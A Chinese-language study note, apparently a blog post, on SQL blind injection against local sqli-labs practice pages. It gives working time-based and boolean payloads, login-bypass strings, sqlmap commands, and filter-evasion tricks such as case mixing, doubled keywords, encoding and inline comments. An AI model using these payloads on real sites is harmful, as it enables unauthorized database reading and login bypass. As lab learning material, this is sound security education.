SQL 盲注

Web安全攻防 学习笔记

一、SQL 盲注


1.1、盲注介绍

        Blind SQL(盲注)是注入攻击的其中一种,向数据库发生 true 或 false 这样的问题,并根据应用程序返回的信息判断结果。这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有 解决 SQL 注入存在的代码问题。


1.2、盲注种类

  1. 布尔类型的盲注

  2. 时间的盲注




二、GET 盲注


2.1、GET 基于时间的盲注

	# mysql 中的 if 函数
	if(ascii(substr(database(),1,1))=115, 1, sleep(3))

	# 如果 ascii(substr(database(),1,1))=115 执行成功, 返回(或执行) 1
	# 若不成功, 则返回(或执行) sleep(3)
  • ascii(x) 返回 xASCII

  • substr( str, pos, len ) 从字符串 strpos 位置截取长度为 len 的字符串

  • database() 获取数据库名

        当数据库名第一个(从 1 开始截取)字母(长度为 1 的字符串就是个字母)的 ASCII 码不等于 115 时,执行一次 sleep(3) 函数等待 3 秒。


例:

  1. 先判断是否存在注入点
	# 若存在注入点, 则会执行 and 后面的语句, 那么就会执行 sleep(3)
	http://127.0.0.1/sqli/Less-1/?id=1' and if(1=0, 1, sleep(3)) --+

在这里插入图片描述
在这里插入图片描述

  1. 判断数据库名字的长度
	# 从 1 试到 9 终于执行 sleep(3) 了, 长度为 8
	http://127.0.0.1/sqli/Less-1/?id=1' and if(length(database())=9, 1, sleep(3)) --+

在这里插入图片描述

  1. 判断数据库名字
	http://127.0.0.1/sqli/Less-1/?id=1' and if(ascii(substr(database(), 1, 1))=115, sleep(3), 1) --+
	# 为了快一点点, 所以蒙对了就执行 sleep(3)
	# a 试到 s (当然大写也要试), 也就是 ASCII 为 115 时得出数据库的第一个字母
	# 然后剩下的 7 个字母也是一个个试吧

在这里插入图片描述


2.2、GET 基于布尔的盲注

        简单来说就是在原来的语句后面添加一个只输出 True 或 False 的语句,若页面返回正常(能正常显示)则表示返回值为 True(往往就说明蒙对了);反之为 False。

例:

  1. 先判断是否存在注入点
	http://127.0.0.1/sqli/Less-1/?id=1' and 1=1 --+
	# 正常返回, 说明存在注入点

在这里插入图片描述

  1. 判断数据库名字的长度
	http://127.0.0.1/sqli/Less-1/?id=1' and length(database())=8 --+
	# 依旧是一个个尝试, 探得数据库名字长度为 8

在这里插入图片描述

  1. 判断数据库名字
	http://127.0.0.1/sqli/Less-1/?id=1' and ascii(substr(database(), 1, 1))=115 --+

	# 当然最好还是加个括号, 语句更清晰
	http://127.0.0.1/sqli/Less-1/?id=1' and (ascii(substr(database(), 1, 1))=115) --+

在这里插入图片描述

基于布尔的盲注,我们通常采用下面的办法猜解字符串:

	select length(database()); 

	select substr(database(),1,1); 
	
	select ascii(substr(database(),1,1)); 
	
	select ascii(substr(database(),1,1)) > N; 
	
	select ascii(substr(database(),1,1)) = N; 
	
	select ascii(substr(database(),1,1)) < N;

在这里插入图片描述

我们也可以看一下 sqlmap 的布尔盲注是怎么回事

	python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B --dbs

	# 当然也可以看时间盲注
	python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique T --dbs

在这里插入图片描述



三、POST 盲注


3.1、POST 基于错误的注入

特点:

  1. POST 请求不能被缓存下来

  2. POST 请求不会保存在浏览器浏览记录中

  3. 以 POST 请求的 URL 无法保存为浏览器书签

  4. POST 请求没有长度限制

  5. 一般用来提交表单、上传文件



3.2、POST 基于错误的单引号注入

在这里插入图片描述
在这里插入图片描述
看到了,确实存在注入点,而且是单引号闭合,参数也有了

使用字符串注入

	# 原来的 sql 语句
	select * from xxx where uname = 'xxx' and passwd = 'xxx';

	# 注入 xxx' or 1=1 --    (注意后面有一个空格)
	select * from xxx where uname = 'xxx' or 1=1 -- ' and passwd = 'xxx';

在这里插入图片描述



3.3、POST 基于错误的双引号注入

在这里插入图片描述

	# 报错信息 'www") LIMIT 0,1'
	# 报错内容 www") LIMIT 0,1
	# 所以是使用 ") 闭合的

使用字符串注入

	# 原来的 sql 语句
	select * from xxx where uname = ("xxx") and passwd = 'xxx';

	# 注入 xxx") or 1=1 --    (注意后面有一个空格)
	select * from xxx where uname = ("xxx") or 1=1 -- ") and passwd = 'xxx';

在这里插入图片描述

使用 sqlmap 进行探测

	$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-12/" --data="uname=admin&passwd=123" --banner
	
	# 使用文件探测, target.txt 文件如下, 自己创建的在 sqlmap 文件夹下
	$ python sqlmap.py -r target.txt --banner

在这里插入图片描述
在这里插入图片描述

那如果页面没有报错信息呢? 那就用时间盲注、布尔盲注。



3.4、POST 基于时间的盲注

	# 在存在注入点 POST 提交的参数后加
	and (select (if(length(database())>5,sleep(5),null))) -- 

	xxx' and (select (if(length(database())>5,sleep(5),null))) -- (同样的这后面要有一个空格)

在这里插入图片描述


3.5、POST 基于布尔的盲注

在存在注入点 POST 提交的参数后加入 if 判断语句,当然它在页面并没有什么显示

	select length(database());

	select substr(database(),1,1);
	
	select ascii(substr(database(),1,1)); 
	
	select ascii(substr(database(),1,1)) > N; 
	
	select ascii(substr(database(),1,1)) = N; 
	
	select ascii(substr(database(),1,1)) < N;

在这里插入图片描述



四、SQL 注入绕过手段


        如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤。例如:and 过滤,当然这种过滤只是发现关键字出现,并不会对关键字处理。

4.1、大小写绕过

        通过修改关键字内字母大小写来绕过过滤措施。例如:

	and 	   	可以用 AnD  ANd 等代替

	order by   	可以使用 OrdER 等来进行绕过

4.2、双写绕过

        如果在程序中设置出现关键字之后替换为空,那么 SQL 注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。

	uniunionon  
	# 一次替换会将中间的 union 替换为空, 剩下的也是一个 union
	# 也可以结合大小写绕过

	aandnd		anandd
	oorr

4.3、编码绕过

        可以利用 URL 编码工具,利用编码后的代码绕过SQL注入的过滤机制。

        http://tool.chinaz.com/Tools/urlencode.aspx

	xxx' and (select (if(length(database())>5,sleep(5),null))) -- 
	
	替换成
	
	xxx%27+and+(select+(if(length(database())%3e5%2csleep(5)%2cnull)))+--+

4.4、内联注释绕过

        在 MySQL 中内联注释中的内容可以被当做 SQL 语句执行。

	/*!select*/ * from users;
	/*!select * from users*/;
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DVWA(Damn Vulnerable Web Application)是一个用于练习 Web 安全技术的漏洞应用程序。其中包含了多个不同类型的漏洞,包括 SQL 盲注SQL 盲注是一种利用 Web 应用程序中存在的 SQL 注入漏洞来获取数据库信息的攻击技术。在 DVWA 中,你可以通过以下步骤进行 SQL 盲注的高级练习: 1. 登录 DVWA:在浏览器中访问 DVWA,并使用提供的用户名和密码登录。 2. 寻找 SQL 注入点:在 DVWA 中,你需要找到存在 SQL 注入漏洞的输入点。这可以是登录表单、搜索框或其他用户输入的地方。 3. 确定数据库和表名:使用不正确的输入来尝试触发错误,并尝试从错误消息中获取有关数据库和表名的信息。这可以帮助你构建有效的注入语句。 4. 构造注入语句:根据你获取到的数据库和表名信息,构造有效的注入语句。在高级盲注中,你可能需要使用一些技巧来绕过过滤和限制。 5. 判断注入结果:通过观察应用程序的响应,判断你的注入语句是否成功执行。你可以观察页面内容、错误消息或应用程序的行为变化。 6. 提取数据:如果注入成功执行,你可以使用 UNION SELECT 或其他技术来提取数据库中的数据。通过逐渐调整注入语句,你可以获取更多敏感信息。 请注意,在进行 DVWA 或任何其他漏洞练习时,遵守法律和道德规范。仅在授权的环境中进行测试,不要攻击未经授权的系统。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值